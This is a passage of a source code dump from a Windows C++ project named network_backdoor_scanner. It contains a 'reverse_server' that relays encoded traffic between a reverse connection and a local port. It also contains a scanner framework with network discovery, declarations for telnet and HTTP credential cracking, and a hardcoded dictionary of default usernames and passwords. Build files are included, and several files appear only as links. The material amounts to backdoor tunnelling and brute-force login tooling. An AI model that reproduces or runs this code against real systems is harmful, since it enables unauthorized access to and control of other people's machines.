pair_handle;
15 |
16 | #define PACKET_RECV_BUFFER 1024
17 |
18 | static long string_to_number(const char* input_string) {
19 | long return_number=0;
20 | try {
21 | for (int number_index=strlen(input_string)-1;number_index>=0;--number_index,++input_string) {
22 | if (48<=*input_string && *input_string<=57)
23 | return_number+=(*input_string-48)*pow(10,number_index);
24 | else
25 | return -1;
26 | }
27 | } catch (...) {
28 | return -1;
29 | }
30 | return return_number;
31 | }
32 |
33 | void network_tunnal_init(void) {
34 | WSADATA init;
35 | WSAStartup(1,&init);
36 | }
37 |
38 | void network_tunnal_close(void) {
39 | WSACleanup();
40 | }
41 |
42 | static void network_route_thread_tunnal(pair_handle* pair_socket) {
43 | char recv_buffer[PACKET_RECV_BUFFER]={0};
44 |
45 | while (true) {
46 | unsigned int recv_length=scan_tcp_recv(pair_socket->first,recv_buffer,PACKET_RECV_BUFFER);
47 |
48 | if (-1==recv_length || !recv_length)
49 | break;
50 |
51 | network_decode(recv_buffer,recv_length);
52 | scan_tcp_send(pair_socket->second,recv_buffer,recv_length);
53 | memset(recv_buffer,0,recv_length);
54 | }
55 |
56 | delete pair_socket;
57 | }
58 |
59 | static void network_route_thread_local(pair_handle* pair_socket) {
60 | char recv_buffer[PACKET_RECV_BUFFER]={0};
61 |
62 | while (true) {
63 | unsigned int recv_length=scan_tcp_recv(pair_socket->first,recv_buffer,PACKET_RECV_BUFFER);
64 |
65 | if (-1==recv_length || !recv_length)
66 | break;
67 |
68 | recv_length=network_encode(recv_buffer,recv_length);
69 | scan_tcp_send(pair_socket->second,recv_buffer,recv_length);
70 | memset(recv_buffer,0,recv_length);
71 | }
72 |
73 | delete pair_socket;
74 | }
75 |
76 | static void network_route_thread_main(unsigned int local_port) {
77 | unsigned int local_listen=scan_tcp_bind(local_port);
78 |
79 | if (-1!=local_listen) {
80 | unsigned int reverse_connect=scan_tcp_accept(local_listen);
81 | unsigned int local_connect =scan_tcp_accept(local_listen);
82 |
83 | if (-1!=reverse_connect && -1!=local_listen) {
84 | HANDLE thread_listen=INVALID_HANDLE_VALUE,thread_connect=INVALID_HANDLE_VALUE;
85 |
86 | thread_listen=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&network_route_thread_local,new pair_handle(local_connect,reverse_connect),NULL,NULL);
87 | thread_connect=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&network_route_thread_tunnal,new pair_handle(reverse_connect,local_connect),NULL,NULL);
88 |
89 | if (INVALID_HANDLE_VALUE!=thread_listen && INVALID_HANDLE_VALUE!=thread_connect) {
90 | WaitForSingleObject(thread_listen,INFINITE);
91 | WaitForSingleObject(thread_connect,INFINITE);
92 | return;
93 | }
94 | }
95 | }
96 | }
97 |
98 | bool network_tunnal_open(unsigned int local_port) {
99 | HANDLE thread=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)&network_route_thread_main,(void*)local_port,NULL,NULL);
100 |
101 | if (INVALID_HANDLE_VALUE!=thread)
102 | return true;
103 | return false;
104 | }
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
--------------------------------------------------------------------------------
/reverse_server/network_tunnal.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _NETWORK_TUNNAL_H__
3 | #define _NETWORK_TUNNAL_H__
4 |
5 | void network_tunnal_init(void);
6 | void network_tunnal_close(void);
7 | bool network_tunnal_open(unsigned int local_port);
8 |
9 | #endif
10 |
--------------------------------------------------------------------------------
/reverse_server/reverse_server.dsp:
--------------------------------------------------------------------------------
1 | # Microsoft Developer Studio Project File - Name="reverse_server" - Package Owner=<4>
2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00
3 | # ** DO NOT EDIT **
4 |
5 | # TARGTYPE "Win32 (x86) Console Application" 0x0103
6 |
7 | CFG=reverse_server - Win32 Debug
8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE,
9 | !MESSAGE use the Export Makefile command and run
10 | !MESSAGE
11 | !MESSAGE NMAKE /f "reverse_server.mak".
12 | !MESSAGE
13 | !MESSAGE You can specify a configuration when running NMAKE
14 | !MESSAGE by defining the macro CFG on the command line. For example:
15 | !MESSAGE
16 | !MESSAGE NMAKE /f "reverse_server.mak" CFG="reverse_server - Win32 Debug"
17 | !MESSAGE
18 | !MESSAGE Possible choices for configuration are:
19 | !MESSAGE
20 | !MESSAGE "reverse_server - Win32 Release" (based on "Win32 (x86) Console Application")
21 | !MESSAGE "reverse_server - Win32 Debug" (based on "Win32 (x86) Console Application")
22 | !MESSAGE
23 |
24 | # Begin Project
25 | # PROP AllowPerConfigDependencies 0
26 | # PROP Scc_ProjName ""
27 | # PROP Scc_LocalPath ""
28 | CPP=cl.exe
29 | RSC=rc.exe
30 |
31 | !IF "$(CFG)" == "reverse_server - Win32 Release"
32 |
33 | # PROP BASE Use_MFC 0
34 | # PROP BASE Use_Debug_Libraries 0
35 | # PROP BASE Output_Dir "Release"
36 | # PROP BASE Intermediate_Dir "Release"
37 | # PROP BASE Target_Dir ""
38 | # PROP Use_MFC 0
39 | # PROP Use_Debug_Libraries 0
40 | # PROP Output_Dir "Release"
41 | # PROP Intermediate_Dir "Release"
42 | # PROP Ignore_Export_Lib 0
43 | # PROP Target_Dir ""
44 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
45 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c
46 | # ADD BASE RSC /l 0x804 /d "NDEBUG"
47 | # ADD RSC /l 0x804 /d "NDEBUG"
48 | BSC32=bscmake.exe
49 | # ADD BASE BSC32 /nologo
50 | # ADD BSC32 /nologo
51 | LINK32=link.exe
52 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386
53 | # ADD LINK32 kernel32.lib user32.lib /nologo /subsystem:console /machine:I386
54 | # SUBTRACT LINK32 /nodefaultlib
55 |
56 | !ELSEIF "$(CFG)" == "reverse_server - Win32 Debug"
57 |
58 | # PROP BASE Use_MFC 0
59 | # PROP BASE Use_Debug_Libraries 1
60 | # PROP BASE Output_Dir "Debug"
61 | # PROP BASE Intermediate_Dir "Debug"
62 | # PROP BASE Target_Dir ""
63 | # PROP Use_MFC 0
64 | # PROP Use_Debug_Libraries 1
65 | # PROP Output_Dir "Debug"
66 | # PROP Intermediate_Dir "Debug"
67 | # PROP Target_Dir ""
68 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
69 | # ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c
70 | # ADD BASE RSC /l 0x804 /d "_DEBUG"
71 | # ADD RSC /l 0x804 /d "_DEBUG"
72 | BSC32=bscmake.exe
73 | # ADD BASE BSC32 /nologo
74 | # ADD BSC32 /nologo
75 | LINK32=link.exe
76 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
77 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept
78 |
79 | !ENDIF
80 |
81 | # Begin Target
82 |
83 | # Name "reverse_server - Win32 Release"
84 | # Name "reverse_server - Win32 Debug"
85 | # Begin Group "Source Files"
86 |
87 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
88 | # Begin Source File
89 |
90 | SOURCE=.\main.cpp
91 | # End Source File
92 | # Begin Source File
93 |
94 | SOURCE=.\network_encoder.cpp
95 | # End Source File
96 | # Begin Source File
97 |
98 | SOURCE=.\network_tunnal.cpp
99 | # End Source File
100 | # Begin Source File
101 |
102 | SOURCE=.\scan_tcp.cpp
103 | # End Source File
104 | # End Group
105 | # Begin Group "Header Files"
106 |
107 | # PROP Default_Filter "h;hpp;hxx;hm;inl"
108 | # Begin Source File
109 |
110 | SOURCE=.\network_encoder.h
111 | # End Source File
112 | # Begin Source File
113 |
114 | SOURCE=.\network_tunnal.h
115 | # End Source File
116 | # Begin Source File
117 |
118 | SOURCE=.\scan_tcp.h
119 | # End Source File
120 | # End Group
121 | # Begin Group "Resource Files"
122 |
123 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
124 | # End Group
125 | # End Target
126 | # End Project
127 |
--------------------------------------------------------------------------------
/reverse_server/reverse_server.dsw:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecWiki/network_backdoor_scanner/6d590e59ef48c6bebc127f0f92192a7584a63e04/reverse_server/reverse_server.dsw
--------------------------------------------------------------------------------
/reverse_server/reverse_server.ncb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecWiki/network_backdoor_scanner/6d590e59ef48c6bebc127f0f92192a7584a63e04/reverse_server/reverse_server.ncb
--------------------------------------------------------------------------------
/reverse_server/reverse_server.opt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecWiki/network_backdoor_scanner/6d590e59ef48c6bebc127f0f92192a7584a63e04/reverse_server/reverse_server.opt
--------------------------------------------------------------------------------
/reverse_server/reverse_server.plg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Build Log
5 |
6 | --------------------Configuration: reverse_server - Win32 Release--------------------
7 |
8 | Command Lines
9 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSPA648.tmp" with contents
10 | [
11 | /nologo /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Release/reverse_server.pch" /YX /Fo"Release/" /Fd"Release/" /FD /c
12 | "C:\Users\Administrator\Desktop\code_file\scaner\reverse_server\main.cpp"
13 | ]
14 | Creating command line "cl.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSPA648.tmp"
15 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSPA649.tmp" with contents
16 | [
17 | kernel32.lib user32.lib /nologo /subsystem:console /incremental:no /pdb:"Release/reverse_server.pdb" /machine:I386 /out:"Release/reverse_server.exe"
18 | .\Release\main.obj
19 | .\Release\network_encoder.obj
20 | .\Release\network_tunnal.obj
21 | .\Release\scan_tcp.obj
22 | ]
23 | Creating command line "link.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSPA649.tmp"
24 | Output Window
25 | Compiling...
26 | main.cpp
27 | Linking...
28 |
29 |
30 |
31 | Results
32 | reverse_server.exe - 0 error(s), 0 warning(s)
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/reverse_server/scan_tcp.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | #include
4 | #include
5 |
6 | #include
7 |
8 | #include "scan_tcp.h"
9 |
10 | #pragma comment (lib,"ws2_32")
11 |
12 | unsigned int scan_tcp_connect(const char* target_ip,unsigned short target_port) {
13 | if (NULL==target_ip || !(0
3 | #include
4 | #include
5 |
6 | #include "encoder_base64.h"
7 |
8 | static const char base[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
9 | char* base64_encode(const char* data, int data_len);
10 | char *base64_decode(const char* data, int data_len);
11 | static char find_pos(char ch);
12 |
13 | char *base64_encode(const char* data, int data_len)
14 | {
15 | //int data_len = strlen(data);
16 | int prepare = 0;
17 | int ret_len;
18 | int temp = 0;
19 | char *ret = NULL;
20 | char *f = NULL;
21 | int tmp = 0;
22 | char changed[4];
23 | int i = 0;
24 | ret_len = data_len / 3;
25 | temp = data_len % 3;
26 | if (temp > 0)
27 | {
28 | ret_len += 1;
29 | }
30 | ret_len = ret_len*4 + 1;
31 | ret = (char *)malloc(ret_len);
32 |
33 | if ( ret == NULL)
34 | {
35 | return ret;
36 | }
37 | memset(ret, 0, ret_len);
38 | f = ret;
39 | while (tmp < data_len)
40 | {
41 | temp = 0;
42 | prepare = 0;
43 | memset(changed, '\0', 4);
44 | while (temp < 3)
45 | {
46 | //printf("tmp = %d\n", tmp);
47 | if (tmp >= data_len)
48 | {
49 | break;
50 | }
51 | prepare = ((prepare << 8) | (data[tmp] & 0xFF));
52 | tmp++;
53 | temp++;
54 | }
55 | prepare = (prepare<<((3-temp)*8));
56 | //printf("before for : temp = %d, prepare = %d\n", temp, prepare);
57 | for (i = 0; i < 4 ;i++ )
58 | {
59 | if (temp < i)
60 | {
61 | changed[i] = 0x40;
62 | }
63 | else
64 | {
65 | changed[i] = (prepare>>((3-i)*6)) & 0x3F;
66 | }
67 | *f = base[changed[i]];
68 | //printf("%.2X", changed[i]);
69 | f++;
70 | }
71 | }
72 | *f = '\0';
73 |
74 | return ret;
75 |
76 | }
77 | /* */
78 | static char find_pos(char ch)
79 | {
80 | char *ptr = (char*)strrchr(base, ch);//the last position (the only) in base[]
81 | return (ptr - base);
82 | }
83 | /* */
84 | char *base64_decode(const char *data, int data_len)
85 | {
86 | int ret_len = (data_len / 4) * 3;
87 | int equal_count = 0;
88 | char *ret = NULL;
89 | char *f = NULL;
90 | int tmp = 0;
91 | int temp = 0;
92 | char need[3];
93 | int prepare = 0;
94 | int i = 0;
95 | if (*(data + data_len - 1) == '=')
96 | {
97 | equal_count += 1;
98 | }
99 | if (*(data + data_len - 2) == '=')
100 | {
101 | equal_count += 1;
102 | }
103 | if (*(data + data_len - 3) == '=')
104 | {//seems impossible
105 | equal_count += 1;
106 | }
107 | switch (equal_count)
108 | {
109 | case 0:
110 | ret_len += 4;//3 + 1 [1 for NULL]
111 | break;
112 | case 1:
113 | ret_len += 4;//Ceil((6*3)/8)+1
114 | break;
115 | case 2:
116 | ret_len += 3;//Ceil((6*2)/8)+1
117 | break;
118 | case 3:
119 | ret_len += 2;//Ceil((6*1)/8)+1
120 | break;
121 | }
122 | ret = (char *)malloc(ret_len);
123 | if (ret == NULL)
124 | {
125 | return ret;
126 | }
127 | memset(ret, 0, ret_len);
128 | f = ret;
129 | while (tmp < (data_len - equal_count))
130 | {
131 | temp = 0;
132 | prepare = 0;
133 | memset(need, 0, 4);
134 | while (temp < 4)
135 | {
136 | if (tmp >= (data_len - equal_count))
137 | {
138 | break;
139 | }
140 | prepare = (prepare << 6) | (find_pos(data[tmp]));
141 | temp++;
142 | tmp++;
143 | }
144 | prepare = prepare << ((4-temp) * 6);
145 | for (i=0; i<3 ;i++ )
146 | {
147 | if (i == temp)
148 | {
149 | break;
150 | }
151 | *f = (char)((prepare>>((2-i)*8)) & 0xFF);
152 | f++;
153 | }
154 | }
155 | *f = '\0';
156 | return ret;
157 | }
--------------------------------------------------------------------------------
/scanner_framework/encoder_base64.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _ENCODER_BASE64_H__
3 | #define _ENCODER_BASE64_H__
4 |
5 | char* base64_encode(const char* data,int data_length);
6 | char* base64_decode(const char* data,int data_length);
7 |
8 | #endif
9 |
--------------------------------------------------------------------------------
/scanner_framework/local_information.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include
3 |
4 | #include
5 |
6 | #include "local_information.h"
7 |
8 | #define VER_NT_WORKSTATION 1
9 | #define SM_SERVERR2 89
10 |
11 | typedef struct {
12 | DWORD dwOSVersionInfoSize;
13 | DWORD dwMajorVersion;
14 | DWORD dwMinorVersion;
15 | DWORD dwBuildNumber;
16 | DWORD dwPlatformId;
17 | TCHAR szCSDVersion[128];
18 | WORD wServicePackMajor;
19 | WORD wServicePackMinor;
20 | WORD wSuiteMask;
21 | BYTE wProductType;
22 | BYTE wReserved;
23 | } OSVERSIONINFOEX_;
24 |
25 | bool get_system_version(char* output_buffer) {
26 | OSVERSIONINFOEX_ system_info={0};
27 | system_info.dwOSVersionInfoSize=sizeof(system_info);
28 | if (GetVersionEx((LPOSVERSIONINFO)&system_info)) {
29 | if (VER_PLATFORM_WIN32_NT==system_info.dwPlatformId) {
30 | if (VER_NT_WORKSTATION==system_info.wProductType) {
31 | if (10==system_info.dwMajorVersion && 0==system_info.dwMinorVersion) {
32 | strcpy(output_buffer,"Windows 10");
33 | return true;
34 | } else if (6==system_info.dwMajorVersion && 3==system_info.dwMinorVersion) {
35 | strcpy(output_buffer,"Windows 8.1");
36 | return true;
37 | } else if (6==system_info.dwMajorVersion && 2==system_info.dwMinorVersion) {
38 | strcpy(output_buffer,"Windows 8");
39 | return true;
40 | } else if (6==system_info.dwMajorVersion && 1==system_info.dwMinorVersion) {
41 | strcpy(output_buffer,"Windows 7");
42 | return true;
43 | } else if (6==system_info.dwMajorVersion && 0==system_info.dwMinorVersion) {
44 | strcpy(output_buffer,"Windows Vista");
45 | return true;
46 | } else if (5==system_info.dwMajorVersion && 2==system_info.dwMinorVersion) {
47 | if (GetSystemMetrics(SM_SERVERR2)) {
48 | strcpy(output_buffer,"Windows Server 2003 R2");
49 | return true;
50 | } else {
51 | strcpy(output_buffer,"Windows Server 2003");
52 | return true;
53 | }
54 | }
55 | } else {
56 | if (10==system_info.dwMajorVersion && 0==system_info.dwMinorVersion) {
57 | strcpy(output_buffer,"Windows Server Technical Preview");
58 | return true;
59 | } else if (6==system_info.dwMajorVersion && 3==system_info.dwMinorVersion) {
60 | strcpy(output_buffer,"Windows Server 2012 R2");
61 | return true;
62 | } else if (6==system_info.dwMajorVersion && 2==system_info.dwMinorVersion) {
63 | strcpy(output_buffer,"Windows Server 2012");
64 | return true;
65 | } else if (6==system_info.dwMajorVersion && 1==system_info.dwMinorVersion) {
66 | strcpy(output_buffer,"Windows Server 2008 R2");
67 | return true;
68 | } else if (6==system_info.dwMajorVersion && 0==system_info.dwMinorVersion) {
69 | strcpy(output_buffer,"Windows Server 2008");
70 | return true;
71 | } else if (5==system_info.dwMajorVersion && 1==system_info.dwMinorVersion) {
72 | strcpy(output_buffer,"Windows XP");
73 | return true;
74 | } else if (5==system_info.dwMajorVersion && 0==system_info.dwMinorVersion) {
75 | strcpy(output_buffer,"Windows 2008");
76 | return true;
77 | }
78 | }
79 | } else; // other platform
80 | }
81 | return false;
82 | }
83 |
--------------------------------------------------------------------------------
/scanner_framework/local_information.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _LOCAL_INFORMATION_H__
3 | #define _LOCAL_INFORMATION_H__
4 |
5 | bool get_system_version(char* output_buffer);
6 |
7 | #endif
8 |
--------------------------------------------------------------------------------
/scanner_framework/local_network.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include
3 |
4 | #include
5 | #include
6 |
7 | #include "local_network.h"
8 | #include "scan_arp.h"
9 | #include "scan_tcp.h"
10 | #include "scan_icmp.h"
11 |
12 | #pragma comment (lib,"ws2_32")
13 |
14 |
15 | #define MAX_ADAPTER_NAME_LENGTH 256
16 | #define MAX_ADAPTER_DESCRIPTION_LENGTH 128
17 | #define MAX_ADAPTER_ADDRESS_LENGTH 8
18 |
19 | typedef struct {
20 | char String[4 * 4];
21 | } IP_ADDRESS_STRING, *PIP_ADDRESS_STRING, IP_MASK_STRING, *PIP_MASK_STRING;
22 |
23 | typedef struct _IP_ADDR_STRING {
24 | struct _IP_ADDR_STRING* Next;
25 | IP_ADDRESS_STRING IpAddress;
26 | IP_MASK_STRING IpMask;
27 | DWORD Context;
28 | } IP_ADDR_STRING, *PIP_ADDR_STRING;
29 |
30 | typedef struct _IP_ADAPTER_INFO {
31 | struct _IP_ADAPTER_INFO *Next;
32 | DWORD ComboIndex;
33 | char AdapterName[MAX_ADAPTER_NAME_LENGTH + 4];
34 | char Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4];
35 | UINT AddressLength;
36 | BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH];
37 | DWORD Index;
38 | UINT Type;
39 | UINT DhcpEnabled;
40 | PIP_ADDR_STRING CurrentIpAddress;
41 | IP_ADDR_STRING IpAddressList;
42 | IP_ADDR_STRING GatewayList;
43 | IP_ADDR_STRING DhcpServer;
44 | BOOL HaveWins;
45 | IP_ADDR_STRING PrimaryWinsServer;
46 | IP_ADDR_STRING SecondaryWinsServer;
47 | time_t LeaseObtained;
48 | time_t LeaseExpires;
49 | } IP_ADAPTER_INFO, *PIP_ADAPTER_INFO;
50 |
51 | typedef DWORD (__stdcall *_GetAdaptersInfo)(PIP_ADAPTER_INFO,PULONG);
52 |
53 | char local_host_name[HOST_NAME_LENGTH]={0};
54 | char local_ip[IPV4_IP_LENGTH]={0};
55 | unsigned char local_mac[ETH_ADDRESS_LENGTH]={0};
56 | char gateway_ip[IPV4_IP_LENGTH]={0};
57 | unsigned char gateway_mac[ETH_ADDRESS_LENGTH]={0};
58 | char dhcp_server[IPV4_IP_LENGTH]={0};
59 | char network_mask[IPV4_IP_LENGTH]={0};
60 | char network_session[IPV4_IP_LENGTH]={0};
61 | char network_session_last[IPV4_IP_LENGTH]={0};
62 | unsigned long network_session_size=0;
63 |
64 | static void get_ip(void) {
65 | gethostname(local_host_name,64);
66 | hostent* host=gethostbyname(local_host_name);
67 | char* ip=inet_ntoa(*(in_addr*)host->h_addr_list[0]);
68 | memcpy(local_ip,ip,strlen(ip));
69 | }
70 |
71 | static void get_local_network_information(void) {
72 | HMODULE dll_iphlpapi=NULL;
73 | dll_iphlpapi=LoadLibrary("iphlpapi.dll");
74 | _GetAdaptersInfo GetAdaptersInfo_=(_GetAdaptersInfo)GetProcAddress(dll_iphlpapi,"GetAdaptersInfo");
75 |
76 | IP_ADAPTER_INFO local_network_data;
77 | unsigned long output_local_network_data_length=sizeof(local_network_data);
78 | DWORD return_code=GetAdaptersInfo_(&local_network_data,&output_local_network_data_length);
79 |
80 | if (ERROR_BUFFER_OVERFLOW==return_code) {
81 | return_code=GetAdaptersInfo_(&local_network_data,&output_local_network_data_length);
82 | }
83 | if (NO_ERROR==return_code) {
84 | memcpy(local_mac,&local_network_data.Address,ETH_ADDRESS_LENGTH);
85 |
86 | if (local_network_data.DhcpEnabled)
87 | memcpy(dhcp_server,&local_network_data.DhcpServer.IpAddress.String,IPV4_IP_LENGTH-1);
88 | memcpy(network_mask,&local_network_data.IpAddressList.IpMask.String,IPV4_IP_LENGTH-1);
89 | memcpy(gateway_ip,&local_network_data.GatewayList.IpAddress.String,IPV4_IP_LENGTH-1);
90 |
91 | unsigned long network_mask_=inet_addr(network_mask),local_ip_=inet_addr(local_ip);
92 | unsigned long network_session_=local_ip_&network_mask_;
93 | in_addr network_session___;
94 | network_session___.S_un.S_addr=network_session_;
95 | char* network_session__=inet_ntoa(network_session___);
96 | memcpy(network_session,network_session__,IPV4_IP_LENGTH-1);
97 |
98 | network_session_size=~htonl(network_mask_);
99 |
100 | network_session_=htonl(network_session_);
101 | network_session_+=network_session_size;
102 | network_session_=htonl(network_session_);
103 | network_session___.S_un.S_addr=network_session_;
104 | char* network_session_last_=inet_ntoa(network_session___);
105 | memcpy(network_session_last,network_session_last_,IPV4_IP_LENGTH-1);
106 |
107 | scan_arp(gateway_ip,(char*)gateway_mac);
108 | }
109 | }
110 |
111 | bool check_ip(const char* ip) {
112 | if (-1==inet_addr(ip))
113 | return false;
114 | return true;
115 | }
116 |
117 | void local_network_init(void) {
118 | WSADATA init;
119 | WSAStartup(2,&init);
120 | scan_arp_init();
121 | scan_tcp_init();
122 | scan_icmp_init();
123 | get_ip();
124 | get_local_network_information();
125 | }
126 |
127 | void local_network_clean(void) {
128 | scan_icmp_clean();
129 | scan_tcp_clean();
130 | scan_arp_clean();
131 | WSACleanup();
132 | }
133 |
134 | void sleep(unsigned int time) {
135 | Sleep(time);
136 | }
137 |
138 | bool get_host(const char* input_host,char* output_ip) {
139 | hostent* host=gethostbyname(input_host);
140 | if (NULL!=host) {
141 | char* copy_ip=inet_ntoa(*(in_addr*)host->h_addr_list[0]);
142 | memcpy(output_ip,copy_ip,IPV4_IP_LENGTH);
143 | return true;
144 | }
145 | return false;
146 | }
147 |
--------------------------------------------------------------------------------
/scanner_framework/local_network.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _LOCAL_NETWORK_H__
3 | #define _LOCAL_NETWORK_H__
4 |
5 | #define ETH_ADDRESS_LENGTH 6
6 |
7 | #define IPV4_IP_LENGTH 0x10
8 |
9 | #define HOST_NAME_LENGTH 64
10 |
11 | extern char local_host_name[HOST_NAME_LENGTH];
12 | extern char local_ip[IPV4_IP_LENGTH];
13 | extern unsigned char local_mac[ETH_ADDRESS_LENGTH];
14 | extern char gateway_ip[IPV4_IP_LENGTH];
15 | extern unsigned char gateway_mac[ETH_ADDRESS_LENGTH];
16 | extern char dhcp_server[IPV4_IP_LENGTH];
17 | extern char network_mask[IPV4_IP_LENGTH];
18 | extern char network_session[IPV4_IP_LENGTH];
19 | extern char network_session_last[IPV4_IP_LENGTH];
20 | extern unsigned long network_session_size;
21 |
22 | bool check_ip(const char* ip);
23 | void local_network_init(void);
24 | void local_network_clean(void);
25 | void sleep(unsigned int time);
26 | bool get_host(const char* input_host,char* output_ip);
27 |
28 | #endif
29 |
--------------------------------------------------------------------------------
/scanner_framework/local_thread.cpp:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | #include
5 |
6 | #include "local_thread.h"
7 |
8 | unsigned long create_thread(void* function_address,void* function_parameter_list) {
9 | HANDLE thread_handle=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)function_address,(LPVOID)function_parameter_list,NULL,NULL);
10 | if (INVALID_HANDLE_VALUE!=thread_handle)
11 | return (unsigned long)thread_handle;
12 | return -1;
13 | }
14 |
15 | void wait_thread(unsigned long thread_handle) {
16 | WaitForSingleObject((HANDLE)thread_handle,INFINITE);
17 | }
18 |
19 | void close_thread(unsigned long thread_handle) {
20 | CloseHandle(thread_handle);
21 | }
22 |
--------------------------------------------------------------------------------
/scanner_framework/local_thread.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _LOCAL_THREAD_H__
3 | #define _LOCAL_THREAD_H__
4 |
5 | unsigned long create_thread(void* function_address,void* function_parameter_list);
6 | void wait_thread(unsigned long thread_handle);
7 | void close_thread(unsigned long thread_handle);
8 |
9 | #endif
10 |
11 |
--------------------------------------------------------------------------------
/scanner_framework/main.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecWiki/network_backdoor_scanner/6d590e59ef48c6bebc127f0f92192a7584a63e04/scanner_framework/main.cpp
--------------------------------------------------------------------------------
/scanner_framework/network_crack.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecWiki/network_backdoor_scanner/6d590e59ef48c6bebc127f0f92192a7584a63e04/scanner_framework/network_crack.cpp
--------------------------------------------------------------------------------
/scanner_framework/network_crack.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _NETWORK_CRACK_H__
3 | #define _NETWORK_CRACK_H__
4 |
5 | #include "resolver_dictionary.h"
6 | #include "resolver_http.h"
7 |
8 | #ifndef _STRING_
9 |
10 | #include
11 |
12 | using std::string;
13 | using std::pair;
14 |
15 | #endif
16 |
17 | #ifndef _VECTOR_
18 |
19 | #include
20 |
21 | using std::vector;
22 |
23 | #endif
24 |
25 | #define NETWORK_CRACK_TIMEOUT 5000
26 | #define NETWORK_CRACK_RECV_BUFFER_LENGTH 1024*10
27 |
28 |
29 | typedef vector crack_packet_raw;
30 | typedef vector crack_packet_http;
31 | typedef pair crack_index;
32 |
33 | crack_packet_raw network_crack_init(const string crack_packet,...);
34 | crack_packet_http network_crack_init(const http_packet& crack_packet,...);
35 |
36 | crack_index network_crack_online(const string target_ip,const unsigned int target_port,const crack_packet_raw& crack_packet,const string crack_term,bool first_recv);
37 | crack_index network_crack_online(const string target_ip,const unsigned int target_port,const crack_packet_http& crack_packet,const string crack_term,bool first_recv);
38 |
39 | crack_index network_crack_telnet(const string target_ip,const unsigned int target_port,const dictionary& crack_dictionary);
40 | crack_index network_crack_http(const string target_ip,const unsigned int target_port,dictionary crack_dictionary,const string crack_express,const string crack_term);
41 |
42 |
43 | #endif
44 |
45 |
--------------------------------------------------------------------------------
/scanner_framework/network_dictionary.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef _NETWORD_DICTIONARY_H__
3 | #define _NETWORD_DICTIONARY_H__
4 |
5 | const char* username[]={
6 | "admin",
7 | "root",
8 | "administrator",
9 | "guest"
10 | };
11 |
12 | const char* password[]={
13 | "",
14 | "0123456789",
15 | "admin",
16 | "root",
17 | "toor",
18 | "access",
19 | "debug",
20 | "Manager",
21 | "User",
22 | "guest",
23 | "cicso",
24 | "sa",
25 | "super",
26 | "install",
27 | "123456",
28 | "1q2w3e4r",
29 | "fuckyou",
30 | "wocaoni",
31 | "Password",
32 | "password"
33 | };
34 |
35 | #endif
36 |
--------------------------------------------------------------------------------
/scanner_framework/network_encoder.cpp:
--------------------------------------------------------------------------------
